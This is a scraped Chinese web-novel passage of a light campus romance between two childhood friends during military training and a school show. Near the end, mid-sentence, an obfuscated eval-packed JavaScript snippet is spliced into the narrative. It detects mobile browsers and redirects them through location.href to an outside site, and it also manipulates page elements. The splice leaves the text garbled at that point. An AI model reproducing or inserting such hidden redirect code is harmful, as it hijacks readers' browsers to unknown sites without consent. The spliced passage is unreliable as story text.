《猫都比你有良心》 1. 娇娇丁公主 “唉——” 在乔岁安发出第n次叹气后,余清终于忍不住问:“怎么了?” 乔岁安撑着脑袋,眉眼耷拉着,无精打采:“丁斯时已经半天没有理我了。” 余清点点头,了然。 上次,乔岁安不小心翻到了他的日记本,虽然乔岁安十分有原则地选择了没看,但在给它放回去的时候不幸被丁斯时抓包,百口莫辩,然后他七小时没理乔岁安。 上上次,丁斯时人生中第一次尝试Tufting,乔岁安嘲笑他做得丑,丁斯时气得一小时没理她。 上上上次…… 两个人之间仿佛有无数个可以吵架的理由,但偏偏每次最后都能和好如初。 余清习以为常,见怪不怪,“这次又是因为什么呢?” 乔岁安一下直起身,起了点精神。 “你帮我分析一下。”她不解,“我这次分班考超常发挥,进了重点班,这不是好事吗?他暑假天天揪着我学习不就是希望我进去吗?那他自己想去普通班虐菜,能怪我吗?这两件事没关系吧?他凭什么生气?” 余清也跟着撑起脸,听着她滔滔不绝地吐槽,嗯嗯啊啊地回应她,等她口渴停下了,把水杯往她那儿推了推,才问:“那你想不想让他理你?” 乔岁安不假思索:“想。” “那你就哄他。” “为什么老是我哄他?”乔岁安抗议,“凭什么啊他?” “没有为什么。”因为从认识乔岁安开始,她就丁斯时为什么又不理她这件事有过无数个为什么,余清已经听累了,“就凭他是娇娇丁公主。” 乔岁安想了想,乐了:“行,可以接受这个理由。” 余清点点头,熟练地在心底为自己开解:娇娇丁公主这个绰号最开始是乔岁安取的,和她没有半毛钱关系,希望丁斯时永远都不要知道她今天这么叫他。 被开解完的人压根坐不住,乔岁安思考了几秒钟,噌一下站起来,坚定:“我现在就回去哄他。” 余清比了个“请”的手势,目送着她一路走出房间。 身后余妈拿着锅铲,喊:“哎,乔乔,留下来吃完饭再走啊!” “不了。”她利落地换上鞋,语气轻快,“谢谢阿姨,我走啦,拜拜。” 防盗门被轻轻合上,余妈回过头瞪余清一眼:“你也不留一下人家。” “留什么留?”余清一耸肩,尾音拖老长,“自古人心留不住——” 更何况人家才是正宫。 —— 坐上回家的公交车后,乔岁安挑了个空位坐下,打开手机,咬着手指甲盯着两个人的聊天记录看了半天,手指一点键盘,开始给手机里那位娇娇丁公主发消息。 岁岁和碎碎:“哦,天突然亮了,你猜是为什么?原来是丁斯时同学的美貌太过闪耀!” 岁岁和碎碎:“哦亲爱的丁斯时同学,你这辈子唯一的遗憾就是亲不到自己那张女娲炫技的脸颊呢。” …… 把自己恶心吐了,手机里那位仍旧按兵不动。 乔岁安鼓了鼓嘴,继续。 岁岁和碎碎:“如果这个世界上的鱼和雁都灭绝了,那一定是你经常笑。” 岁岁和碎碎:“今天肯定没月亮了,因为月亮的光辉都别你遮盖了。” 她眼尖地看见屏幕上面的昵称变成了“正在输入中……”,不过半秒马上恢复“娇娇丁公主”,屏幕上仍旧只有她的一连串彩虹屁。 看来有戏。 乔岁安再接再厉。 岁岁和碎碎:“你的人生是我见过最美的画报。” 岁岁和碎碎:“不知道你喜欢什么颜色的麻袋,所以我都准备好了,这就把你偷回家。” 手机“嗡”的一声响,某人终于忍不住了。 娇娇丁公主:“行,有本事你来偷。” 嗯,终于搭理她了。 乔岁安满意极了,乐颠乐颠打字:“正在飞速去你家的路上。” 公交车广播女声报着站点:“夏辉路,到了。” 她收了手机,一步一蹦跳下了公交车。 车站离小区有一段距离,夏季炎热,风吹来都是温热气息,知了没完没了地呐喊。穿过巷子,街道上行人很少,店铺面前的喇叭还在大声喊着“清仓大甩卖,三十块钱,买不了吃亏买不了上当”,混着轻快的音乐,在炽热的夏天显得格外喧闹。 乔岁安撑了把遮阳伞,路过小区门口的一点点,顿了顿,脚下一转,进了奶茶店。 十五分钟后,她手提着一杯全糖去冰芋圆珍珠海盐奶绿敲响了隔壁丁斯时家的门,悄悄把耳朵贴近了门缝,拖鞋踩地的“哒哒哒”声急促,越来越清晰,最后蓦地在不远处停下。 她立马正回身子,捋了下头发丝,对着猫眼露出一个乖巧的笑容。 门没有立刻被打开,耳朵隐约捕捉到一点细微的猫眼开合声,她的微笑持续了好几秒钟。 “啪嗒。” 应该是猫眼关掉了。 门打开的那一秒,她飞速举起奶茶挡在自己脸前面,粗声粗气:“亲爱的丁斯时同学,你点的奶茶外卖到了!” 丁斯时抱着胸,倚在门框边上,不动声色垂着眼皮子看着她。 乔岁安慢慢从奶茶后面露出一双眼睛,眨了一下:“笑一下?” 丁斯时继续低着眼凝视她,一动不动。 乔岁安又眨了一下眼睛。 丁斯时忍不住似的,扬起唇角“啧”了一声,又立马控制住表情,慢悠悠移开视线,直起身,伸手接过奶茶袋,抛下一句“进来”就扭身往里头走。 她松了口气,看来他这气终于消了。 乔岁安换上她粉嫩嫩的拖鞋,进丁斯时房间的动作比他还快,直奔向猫窝,把还在打哈欠的秋秋一把捞进怀里,舒舒服服往吊篮藤椅上一躺。 秋秋趴在她怀里,慵懒地伸了个懒腰。 吊椅是乔岁安买的,本来是想放自个房间,结果没想到买大了她房间压根放不下,就把这歪主意打到了丁斯时的房间上。 吊椅很大,够她曲着腿横躺在上面,上头垫着淡粉色缀花坐垫,搁着一只鲨鱼玩偶和星星抱枕,和整个房间简约的风格简直格格不入。 丁斯时跟在她身后,踩着拖鞋慢吞吞进了房间,瞥着她眯着眼快乐的模样,语气凉凉:“我觉得你现在哄人一点都没诚意。” “哪里没诚意?” 丁斯时晃了晃手机:“你给我发的都是什么东西?百度上抄的吧?” “没抄。你怎么能这么想我?”她讶然,义正辞严,“我都是直接背下来的。” “……” “况且。”乔岁安抛了个wink,补充,“你不是就吃这套吗?” 他哪里吃…… 丁斯时忍了又忍,终究什么也没说,放下奶茶杯,蹲下身,对秋秋拍了拍手,做了个拥抱的手势,秋秋“喵”了一声,从乔岁安身上一跃而下,轻快迈着四肢跑到主人面前。 丁斯时抱起它,秋秋摇着脑袋蹭了蹭他的手,又“喵”了声。 乔岁安一下坐起来:“秋秋,来妈妈这。” 秋秋把脸往丁斯时手肘处一埋,没搭理她。 见此,丁斯时哼笑一声,修长的手指轻轻搭在秋秋脑袋上摸了摸,“你看,猫都比你有良心。” 她不服:“我怎么没良心了?你看,我还给你买了奶茶呢,全糖,加珍珠。” 他轻嗤一声,懒得回她,腾出一只手,勾住抽屉一拉,从里头抽出一张纸递给她:“军训要用的物品准备清单,顺便给你准备了一份。” 顿时,乔岁安的态度一个180度急转弯,双手虔诚接过,感动:“丁斯时,你就是性转的田螺姑娘,你就是观音菩萨,爱你爱你么么么么么。” 丁斯时轻放着秋秋脑袋的手一顿,秋秋伸爪扒拉着他按在自己脑袋上的手,不停喵喵叫以表达不满,他猛然发现自己手劲按重了,立刻松了力道。 他垂着眼没看她,清了清嗓,带点教育的口吻:“你别动不动开口就是爱不爱的,万一下次你说惯了,跟别的男生表达感谢的时候顺出来了,会引起误会,你知不知道?” “哎呀不会的,别人又不是你,没那么熟,说话的时候哪能那么容易顺出来?”乔岁安躺在吊椅上看他给的那张军训物品准备清单,毫不在意地伸手,“想吃巧克力。” “乔岁安你……” 他欲言又止,最后叹了口气,从桌上抓了颗巧克力丢她身上,“算了,你好好准备,别到时候军训又有什么东西忘了,跑过来借我的。” 她锤了锤胸口 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“……”丁斯时硬生生被她气笑,“那你同班同学也没带?” “有一半人没带,谁能想得到军训每天晚上都要写日记,居然还要上交啊,我认识的带笔的人笔都被别人借完了,我又不好意思问男生借。” 丁斯时却是又笑了声:“你的意思是,我不是男的。” 乔岁安:“……那倒也不是。” “我都不知道该不该夸夸你的性别意识。”丁斯时轻挑了下眉,把笔递给她,“拿着你的笔赶紧回班级写日记去。” 乔岁安狠狠感动,张口就要道:“丁斯时同学我真是爱……” 丁斯时在她祸从口出之前,在俩人险些被拉去早恋教育之前,赶紧打断她:“赶紧回去。” 乔岁安:“哦。” 交完日记之后,班主任站台上又讲了些军训相关事宜,最后问:“在军训结束前一天会有一个晚会,要求每个班出一个节目,有愿意报名参加的同学吗?” 班级里瞬间鸦雀无声,乔岁安偷偷埋下头,手指摩挲着不敢举手。 “前面跟你们的父母电话家访过,我知道,你们当中很多人都是有才艺的啊,什么钢琴啊舞蹈啊。要没人举手的话,我就点名了?” 老郭摸着他的保温杯,视线从左到右再从右到左一路扫射,最后定在后排某个人身上,“那个……刚刚出教室借笔的那个同学叫什么名来着……乔岁安!我记得你会跳舞是吧,就你了!” 幸运的乔同学在全班轰轰烈烈的掌声中抬起头,在班主任充满希冀的目光中微笑。 班会结束,所有人都要在教室门口排好队,接着按班级的顺序一队一队回宿舍。 从教学楼走向宿舍的路上要经过一条很长的紫藤花廊,花季过了,藤蔓绕着杆子蜿蜒垂下。 花廊很宽,左右各走着一个班,互不干扰,安静的夜里只能听见脚步声,廊边的路灯直立着,像夜里的守卫者,照亮了整个花廊。 身后室友突然戳了戳她的腰,声音压低了,小声兴奋道:“乔乔,快看帅哥,七点钟方向,好牛一张脸。” 乔岁安一个激灵,条件反射地扭头,目光如同x射线,不加掩饰地直射了过去,比灯光还亮:“哪?” 七点钟方向,帅哥没见着,丁同学倒是有一个。 大概是她的眼神太过露骨,丁斯时也回望了过来,歪了下头表示疑惑,乔岁安大所失望,耷拉着眼皮扭回了脑袋。 室友林时蛰:“我靠我靠他看过来了正脸更帅了!乔乔,你看到了吗?” 大概是从小看到大看腻了,乔岁安从来get不到丁斯时长得有多好看,顶多就是感觉他比一般男生五官长得更立体点,只能从大爷大妈的“小伙子越来越俊了”到同学的“那个不是xx班的学霸帅哥吗”再到路人的“你好可以要个联系方式吗”判断出,丁斯时同学可能长得确实不太一般。 但林时蛰的语气实在激动,她不好意思驳人家,尽力提供情绪价值:“对对对对对!” “这辈子没见过这个级别的!我感觉他有点像那种猫系帅哥!” 对对对对对!她养在隔壁的,名唤娇娇,高贵脾气傲,生气了还不好哄。 2. 藏着你的心跳 乔岁安回寝第一天就是洗澡。 军训第一天,虽然教官特意找了个有树荫的地方让他们站着,但终归是大夏天的,她感觉自己出了一身汗,又黏又臭。 等她躺上自己的小床,拿起手机,才发现她家那位高贵脾气傲的猫猫娇娇给自己发了消息。 娇娇丁公主:“?” 岁岁和碎碎:“??” 丁斯时同学秒回。 娇娇丁公主:“今天在花廊回宿舍的时候,为什么拿那么火热的目光盯着我?” 乔岁安抱着手机在心里嘀咕:有这么直白吗?没有吧…… 楼下林时蛰敷着面膜,瘫在椅子上,一边刷手机一边感叹:“军训真的,太累了。还好我们学校宿舍不收手机,不然我的精神寄托啊——” 乔岁安手下回着丁斯时消息,嘴上回着话:“对。听说才中就要收手机。” “真的假的?那么惨?”罗落惊叹。 林时蛰:“真的,我堂哥就在才中,他就是这么跟我说的。” 她手指划拉着学校超话里的帖子,目光扫过一张照片,指尖一顿,突然想起什么:“对,罗落你知道吗?我们学校,居然有帅哥哎!刚回宿舍路上我一眼就看到了!哇,真的,人群中好高好注目。” “就这个。”林时蛰把手机屏幕翻转过来,点开大图将照片亮给罗落看,“啧,开学第一天就有人偷拍,在超话里问,真不同凡响。” “这个……是丁斯时吧?”罗落仔细辨认了下,“那个中考比咱学校分数线高20分的学霸,初中好像是二中的。” 林时蛰“哎”了声:“乔乔不也是二中的吗?” 乔岁安刚结束完和她们口中那位“不同凡响的学霸帅哥”的聊天,被他那句憋半天才憋出来的“你试试”乐得不行,突然就感受到了楼下两束炙热的目光,收了收笑容,揉了揉鼻尖,坐起身,承认:“我俩认识,他是我发小。” 林时蛰惊讶,面膜差点掉下来,八卦之心迅速燃起:“青梅竹马咯?” 乔岁安点头:“对。” 罗落发出了一波三折的“哦”声,对上乔岁安茫然单纯的眼神,一下顿住了。 “乔乔。”她蹙眉怀疑,“你不会不知道‘青梅竹马’这四个字自带点暧昧的意思吧?” 乔岁安眨眨眼,反应过来,一撇嘴,躺回床上:“那还是用‘发小’这两个字来形容我们俩吧。” 罗落一乐。 “话说,他中考分那么高,为什么不去最好的才中,来了我们学校?”林时蛰好奇。 乔岁安细细回想了一下他当时的说法,“他说在哪上高中都一样,育德离家近。” 林时蛰再次提出疑问:“可是他成绩那么好,也没进咱们重点班啊?” 乔岁安沉默了两秒。 “他说,”她的表情一言难尽,“想去普通班虐菜。” 林时蛰、罗落也跟着沉默了。 几秒之后,罗落也竖起了拇指:“OK,fine.” 第二天的军训强度更大,上午的阳光越来越刺眼,知了的尖叫伴着原地踏步时整齐响亮的脚步声,教官扯着嗓子含着节奏,汗水沾湿了衣服,布料黏糊糊粘在身上。 额上的汗珠顺着皮肤滑进眼里,一阵刺疼,乔岁安站在队列之中,都不敢抬手揉一下眼,拼命眨着。 教官慧眼如炬:“那边那个,干什么呢?面部抽搐?” 四周立马有人偷偷拿余光瞟她。 “报、报告。”乔岁安闭着一只眼,小声,“汗流进眼睛里了。” 教官肃着脸,踱步过来:“听不见,大点声!” 更多人忍不住看过来。 乔岁安紧张,大声:“报告,眼睛流进汗里了!” “……” 在周围爆发的哄笑声中,教官轻咳一声:“到边上的水槽洗洗去。” 她脸通红地“哦”了声,低着头匆匆往后走,弯着腰在水槽边冲洗眼睛。 阳光晕开,地板都在发烫,身侧隐隐有道影子笼下来,紧接着,边上的水龙头被拧开,流水声哗啦,乔岁安捂着一只眼扭头,顺着那双修长的手往上瞧。 是丁斯时。 她关了水龙头:“你怎么来了?” “我们排休息两分钟,我过来洗个手。”他手一拧,亦关了水,垂眼望向她,“眼睛睁开,我看看红没红。” “你都听到啦?” “听见了,你的报告很大声,眼睛流进汗里同学。”他啧了声,弯唇,“你也就在我这横。” 乔岁安一撇嘴,仰起脸,慢慢睁开那只眼睛,又忍不住眨了眨。 丁斯时微弯腰,仔仔细细地检查了下,又直起身子。 “还行,不红,疼吗?” 乔岁安摇摇头:“现在不疼了。” “哎!”不远处的教官在喊,“那边那两个干什么呢?演偶像剧呢?归队了!” “……” 又是一片哄笑声。 她听见身侧那位也跟着哼笑一声,带点无奈的。 痛苦的一上午终于过去,乔岁安腰酸背痛,和室友站在食堂里排队时还时不时抬手捏一下脖子动一下肩。 由于学校目前没全面开学,食堂只开了一层,里头人满为患,队伍能从窗口排到门口。乔岁安还算来得早的,都排了整整一刻钟的队。 好不容易拿到午饭,她和罗落找了张空桌子,坐下。林时蛰去打汤了,乔岁安将林时蛰那份午饭搁在旁边,给她占着座位。 今天的伙食还不错,炸鸡腿,土豆丝,番茄炒蛋。 乔岁安刚举起筷子,就听见对面的罗落“唔”了声,她疑惑:“怎么了?” “你快尝尝这个炸鸡腿!”罗落嘴里含着肉,吐字模糊不清,“巨好吃!” 真的假的? 乔岁安将信将疑地咬了口,肉质鲜美,外焦里嫩,她眼睛都亮了,随即惋惜:“好可惜啊,只有一个。” 身侧蓦地伸出一只手,轻轻把林时蛰的午饭往对面推了推,放下了自己的餐盘。 “这里有人了。”乔岁安抬起头,才发现是丁斯时。 他低垂着眼皮子随意瞟了她一眼,轻嗤一声:“谁说要在你边上吃饭了?” 丁斯时用筷子把自己餐盘里的炸鸡腿夹住搁乔岁安餐盘里:“油炸食品,不吃。” 乔岁安瞬间两眼放光,忙道:“我吃我吃,谢谢恩人。” 丁斯时看她那为炸鸡折腰的不值钱样子,无语了两秒,随后补充了一句:“放心,我筷子新的,没用过。” 乔岁安比了个OK的手势。 其实她并没有那么在乎这件事情,毕竟她也经常跟余清用一根吸管喝奶茶。但是随着年龄的增长,丁斯时对这种界限的事情算得越来越清楚,再三跟她强调这种问题以及他和余清不可以相提并论。 罗落咬着筷子目送着丁斯时离开,目瞪口呆:“你发小好好啊,他简直就像那个许愿池里的王八。你刚说完可惜只有一个炸鸡腿,下一秒他就把自己的送过来了。” 乔岁安被这个形容逗笑了,“他不爱吃油炸的。” 罗落点点头,夸奖:“那看来饮食很健康。” 乔岁安差点呛到自己,默默冷笑一声。 隔三差五喝奶茶,还是必须全糖的珍珠爱好者。 真健康。 奢侈的午休时间一晃而过,知了隐在树叶里头不停吵个没完,把夏天的燥热演绎得完全又清楚。乔岁安唉声叹气回到队伍里站着,扶了扶帽子,把额前被汗浸湿的碎发拨到一边去。 在队伍里等了会儿,自家教官没等到,倒是一个陌生的教官领着另一排走来了。 陌生教官面对着他们就是扯着嗓子一声“立正”,队伍里同学面面相觑,迟疑又缓慢地站挺直了。 “你们教官,刚在球场打球,后退的时候被不知道哪位同学拿脚在后面垫了下,一下没踩稳,摔骨折了,人已经送去医院了。”陌生教官双手背在身后,声音洪亮,“我是二排的教官,现在由我来带你们两个排,还有问题吗?” 一排目瞪口呆,人群中稀稀拉拉地响起几声:“没有。” 教官:“大声点!没吃饱饭啊!” 一排声音整齐划一,盖过了知了的叫声:“没有!” 教官昂着下巴示意二排往中间站站,和一排合在一块儿。 乔岁安悄悄小幅度转头望向二排搜寻,丁斯时在第五排的排头位置,目不斜视地走过来,她默默在心底数了数,和她差了两排一列。 “第三排第二个!”教官喝道,“扭头看什么呢?” 第三排第二个? 乔岁安速速把眼珠子转过来数了下前面的人数,一、二……右边的,一…… 她突然一个激灵把人挺直了,脸绷得比谁都紧。 那不就是她吗? 教官慢慢走过来,“跟我说说,看谁呢,我把人叫出来给你看。” 乔岁安抿着唇不敢说话,笔直地站在那儿,手指紧贴裤缝,眼珠子都不带转一下。 教官探过头,摩挲着下巴仔仔细细确认了一遍她的脸,恍然:“哦,你就是那个‘眼睛流进汗里’了?” 乔岁安:“……” 队伍里听见有人憋不住的笑,轻轻的几声掺杂在一起,其中有一道声线实在过于熟悉,她甚至不用扭头确认,化成灰都听得出来。 而她郁闷至极,只想找个地缝钻进去。 “不许笑!”教官声音又严厉了些许,“都给我站好了。” 队伍立马重新恢复了安静,教官缓缓来回踱步:“站军姿一刻钟!把背都给我挺直了!谁要是不好好站,我把他拉出来单独训练!” 太阳像个火炉,炙热把整个世界笼在其中,知了声越来越吵,叫嚣着夏天的颜色,浓墨重彩,热烈滚烫。 过了不知道多久,休息的哨声就像得到救赎的讯号,在耳边显得格外动听,能硬生生劈开知了的尖锐带给人的烦躁。 乔岁安一下松了脊背,指尖麻麻的,肩膀发酸,她转了转脖子,抬手一瞧,十根手指肿得跟馒头似的。她挪了挪帽子,摸到额上一手湿意,不由唉声叹气。 大休息时间一共有二十分钟,热到快要原地升天的乔岁安摘了帽子给自己扇风,忽然之间有了一个好主意,她悄悄小碎步挪到丁斯时边上,小声:“我有个想法。” 丁斯时喝了口水,拧上瓶盖,朝她微微偏了点头:“说。” “想去小卖部买冰棍。” 丁斯时转过身来正对着她,垂着眼皮子睨着她:“总共就二十分钟,吃不完怎么办?” “不会的,我吃很快的。”乔岁安仰着脸,眨了眨眼,突发奇想,“从你这个角度望过去,我的头顶秃吗?” 丁斯时早就已经习惯了她清奇的脑回路,眯着眼仔细观察了下她的头发:“还好,很茂密。” 乔岁安摸了摸脑袋,满意,随后扯扯他的衣角:“那你到底去不 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正在舔冰棍的林时蛰、举着冰棍的乔岁安还有正在看乔岁安举着冰棍的丁斯时动作同时一僵。 两秒之后,林时蛰:“阿巴阿巴!阿巴阿巴!” 乔岁安低头:“……” “你是不是嘴皮子粘冰棍上了?” 林时蛰情绪激动,手舞足蹈:“阿巴阿巴阿巴阿巴!!!” 可怜宝。 乔岁安表示同情。 —— 这几天乔岁安每天都累得抬不起一根手指,睡眠质量却是前所未有的好,从躺下到入睡不过两三秒。 五天的军训在烈日下进入尾声,最后一天没有训练任务,上午是军歌比赛,下午则是队列比赛和晚会。 中午吃过午饭后,乔岁安就跑去大礼堂准备晚会彩排去了,没参加队列比赛。 上午的军歌扯到嗓子都疼,她穿着红色舞蹈裙坐在礼堂后台,闭着眼任女老师在她脸上摆弄,一边听着外头比赛时一声比一声响的“一二一”,一边咽着口水润嗓子。 她心中哀叹,还好她表演的节目不是唱歌,不然百灵鸟都能变成烟嗓。 “好了!” 腮红盒“吧嗒”清脆一声合上,女老师道:“可以睁眼了。” 乔岁安睁开眼,望向镜子里的自己,左右转转脸,又提起一个笑容,于是镜子里的那个美女跟着她一起弯起唇角。 女老师感慨:“年轻人皮肤就是好啊,底妆都不用怎么化。” 她也这么觉得,她皮肤真好。 “谢谢老师。” 乔岁安礼貌道完谢,站起身跑到帷幕处,拉开,探出个脑袋朝外头张望,队列比赛刚刚结束,陆陆续续有班级进来,按着学校要求的座位表落座。 她悄悄从后台溜了出去,感谢老天赐予她的心灵感应技能,让她一眼锁定丁斯时坐在哪里。 他就坐在第三列靠边的第二个位置,还穿着那身迷彩军训服,摘了帽子,脊背随意靠在椅上,和旁边人说笑,灯光明亮,下颌线清晰。 左侧刚刚好好还空了一个位置。 乔岁安快步走过去,昂首挺胸地在他身侧淑女矜持坐下,歪头盯着他,轻轻咳了一声。丁斯时有感应地偏过脸,抬起眼,目光落在她身上的那一秒,定住了。 “怎么样?”她带点炫耀,“我漂亮吧?” 丁斯时没吭声,目光漆黑,只落在她身上。 她今天把刘海掀了起来,露出光洁的额头,扬着唇角冲他笑,灯光缀进眼底,与眼下的闪粉一样亮晶晶的。 周围灯光蓦地暗了下来,她的面容也在这一刻被漆黑笼罩不甚清晰,丁斯时像是怔了下,睫毛颤了颤,终于回过神,垂下了眼睑,迅速回正了头,视线落在舞台聚光灯下,目光所及之处却是模糊的。 乔岁安笑得脸都快僵了,还是没等到他一句回应。 正当她要发作之时,丁斯时终于开口了,声音低低的,闷闷的,隐在主持人清亮的音色下,险些听不清:“你不去表演吗?” “不着急,我是大轴。”乔岁安放下手,摸了摸头发,不满,“你对我的造型有什么意见吗?” 他抿了下唇,声音平淡:“没意见,挺好看的。” “什么叫‘挺’?语气那么勉强?”乔岁安失落地耷拉下眉眼,鼓了鼓嘴,“算了不问你了,我去找罗落她们。” 她站起身,迈开步子的那一秒,手腕倏地被人拉住,掌心温热通过皮肤的触碰传递,像一场从未盛开的春季阳光。 台上的音乐已经响起,是凯瑟喵的《Blue whale》。 丁斯时没看她,昏暗的光线下,他的声音也不太清晰了:“不是最后一个上台吗?” 乔岁安愣了愣,“嗯”了声。 “那就在这坐着吧。”丁斯时喉头动了动,沉声道,“别瞎跑。” 乔岁安奇怪地瞧他一眼,可他仍不看她,视线只落在台上,手却没松开。 她说“哦”,坐下,顺着他的目光一起,望向舞台。 丁斯时圈住她手腕的手指缓缓松开,又缓缓收回去,搭回膝盖上,悄无声息地蜷起。 台上的人还在唱—— “旷野寂静喧嚣里 无人知道的秘密 这深蓝色海底 藏着你的心跳 ……”① 3. 你今天很漂亮 乔岁安听了片刻歌声,头凑近了些,小声唤他:“丁斯时。” “嗯?” “我有点紧张。” 丁斯时又不说话了。 乔岁安盯着他的侧脸,叹了口气,她感觉他今天好奇怪,可是又说不出为什么。 算了,不跟她说话就不说吧,就当他哑了。 她失望地扭回脑袋,手撑着头,盯着舞台深呼吸。 歌曲接近尾声,台上人手握着话筒,在重复了第二遍“藏着你的心跳”这一句歌词时,身侧人突然开了口:“你今天很漂亮。” 乔岁安愣了下,转头望向他。 昏暗的光线把他的侧脸照得模糊又朦胧,他的声音很轻,落在耳朵里却真切又笃定:“舞蹈也会很漂亮的。” 台上的歌声灵动,听来却像一场炽热的梦:“藏着你的心跳——” 台下响起轰轰烈烈的鼓掌声。 他明明望着舞台,却没有抬手鼓掌。 第七个节目结束的时候乔岁安就去后台侯着了。 第九个节目结束,她抬起手感受着自己的心跳,深吐了一口气。 主持人念着词:“欣赏完我们泱泱大国的古典乐器,接下来是来自一排的乔岁安同学给大家带来的舞蹈——《玫瑰少年》。” 罗落和林时蛰拼了命扯着嗓子一唱一和。 “乔岁安!妈妈爱你!” “岁安岁安勇敢飞!一排一排永相随!” “乔岁安!加油!” 丁斯时的目光在这一刻聚焦。 聚光灯聚在一袭红裙之上,音乐响起,裙摆随之翩翩起舞。 她整个人沐浴在灯光之下,闪闪发光。 背景乐愈发热烈,却在某一刻戛然而止,她转身背对,像风雨俱来前的静寂。 “哪朵玫瑰没有荆棘——” 副歌爆发的瞬间,她利落扭头,发丝在半空中划过,有两根挂在睫毛之上,高抬腿,裙摆在身前旋过,像翻涌的浪潮,像绽放的玫瑰,燃烧着,鲜活着,绽放着。 她跌落,又凭借着腰的柔韧性起身,音乐尾音渐轻,观众席上响起轰动掌声。 而今天的丁斯时像是被人施展了延迟咒语,坐在喧闹欢呼的观众席,远眺舞台上乔岁安笑着鞠躬离场,隔了一会儿,才想起要为她鼓掌。 可是掌声已平。 乔岁安回了后台,紧张留有余韵,她喘息着往椅子上一瘫,平复剧烈的心跳声。 还好,整场下来都没有掉链子。 头顶投下一片阴影,她的视野里伸进一只手,掌心向上,放着一颗糖,粉色透明包装纸,她一愣,不明所以地抬头,面前的男生个子很高,莞尔一笑:“你是刚才跳舞的同学吧?” “对。” 他的手又往前伸了伸:“表演的同学都有糖的。” 乔岁安惊喜,礼貌道了声谢谢,接过糖果,却见那人还在她面前站着,没有半分要离开的意思,她茫然地与之对视。 “那个……”男生摸了摸鼻尖,鼓起勇气,“能要一个你的联系方式吗?” 乔岁安呆住,捏着糖的手指也跟着僵住,手足无措。 长那么大,这还是第一次有人这么直白地站在她面前问她要联系方式。 救救救,怎么拒绝比较好!!! 突然之间,她脑中一闪:“我忽然想起来,最近我蛀牙了,医生不让吃糖。” 她小心翼翼把糖放回男生的掌心,慢吞吞道歉:“不好意思啊。” 拒绝完,乔岁安跟着挠了挠头发,尴尬得要死,眼神飘忽,目光倏地在某处一顿,落在不远处不知什么时候过来的丁斯时身上。 她立马开始挤眉弄眼,示意他赶紧过来解围。 丁斯时抱胸倚在门框上,冷眼瞧着,接收到她的信号,片刻后从鼻息间哼出一声,直起身子,大步走过来,斜睨了眼边上的男生,视线又下落至他掌心那颗糖上,眉心一皱:“草莓味啊。” 气氛随着这么一句意味不明的话陷入更尴尬的境地,男生捏着那颗糖,收回去也尴尬,一直举着也尴尬,最后问:“你是要吃吗?” “多谢。”丁斯时从他指尖抽走糖果。 门口有人喊,男生扭头一望,神色一松,道了声再见,头也不回逃似的跑了。 丁斯时在她面前杵得跟柱子似的,一动不动,垂着眼看她:“裙子有口袋?” 乔岁安懂了:“有没有一种可能,这糖是他给我的而不是我给他的?” 他眉眼终于舒展开,剥开糖纸,无意似的问了句:“我记得你还挺喜欢吃糖的,今天怎么不要?” “因为不想给联系方式啊。”乔岁安理所当然地回答,随后目光疑惑地盯着他,“我说你今天怎么回事?好怪啊。” “军训累了而已。”他含住糖,将糖纸卷了卷丢进垃圾桶。 嗯,糖挺甜的。 他眉梢微扬。 不愧是他喜欢的草莓味。 “走吧。”他转过身,“军训结束了,回宿舍收拾下东西,我们回家。” “哦。” —— 乔岁安后续不住宿,带过来的行李本就不多,因此收拾得很快,就是整理床上用品费了点时间。 下楼时,丁斯时已经在她宿舍楼下等着了。 他把军训服换了,穿了身白色短袖和牛仔裤,乔岁安看见他的瞬间一顿。 丁斯时歪头,眼神不解。 她立马拉着行李箱小跑过来。 “丁同学,你这几天是不是没好好涂防晒?”乔岁安打量他,“之前穿军训服没感觉到,你现在一穿白衣服,我突然感觉你好像比之前黑了一个度。” 丁斯时:“……” 他拉过她的行李箱,催促:“赶紧走。” “哦。”乔岁安走着走着,又开始担心起自己,摸了摸自己的脸,“我是不是也黑了?” 丁斯时停下来瞥了她一眼:“还好,顶多是秋秋认不出的程度。” 乔岁安瞳孔地震,捂住脸:“那么恐怖?” 丁斯时安慰她:“你可以骗它,说自己买了个充满新鲜感的新皮肤。” 乔岁安并没有被安慰到,她伤心透了,她焉巴了。 —— 军训结束到开学之间隔了一周的时间,乔岁安决定拿这一周时间跟余清好好疯玩一下。 她和余清不在一所高中,余清进了传说中的才中。当时录取通知书下来的时候,余清眼泪花花地给她打电话:“宝,以后不在一所学校了,你会不会跟别人玩得很好,忘记我啊?” 乔岁安也眼泪花花:“你怎么说得出这种话?明明你更没良心。” 余清跟乔岁安交友性格不太一样。乔岁安有一个固定的好友圈,不太主动交友,信奉朋友在精不在多。而余清似乎跟谁都能说上两句话,跟谁都能嘻嘻哈哈处成朋友。 “我不管。”乔岁安撒泼,“你把我的照片放钱包里,让她们都知道你已经有好姐妹了。” 余清:“宝,我通常微信支付宝。” 乔岁安继续无理取闹:“那你就把手机壁纸改成‘已有闺’!” 余清略显纠结:“可我的手机壁纸是我的爱豆。” “……”乔岁安摇着头拖长了尾音,“自古人心留不住啊——” 军训结束的第二天,乔岁安就被余清诚挚地邀请去了她爱豆的演唱会。 场地还没开门,外头已经围了一圈粉丝,个个手上举着应援灯牌或者应援棒,旁边的大荧幕上播着爱豆宋蔚的照片。 乔岁安刚到那,就被粉丝数量之多震慑到了。 “我在上班高峰期时的地铁站都没见过这么拥挤而庞大的人群。”她脸上被贴了颗爱心,手上被 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15859091|175923||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 塞了块灯牌,望着人群如是感慨。 余清手里拿着应援棒,盯着旁边宋蔚的海报,止不住感慨:“绝了,太帅了哥!这颜值!我愿意为他痴为他狂为他砰砰撞大墙!” 乔岁安看她一眼。 确实痴,确实狂。 宋蔚上台的那一秒,身侧的余清爆发出了她这辈子都没听过的高分贝,混在一席观众之间也格外醒耳。 “啊啊啊啊啊啊啊啊——”余清挥舞着应援棒,撕心裂肺,“宋蔚!妈妈爱你!宋蔚——” 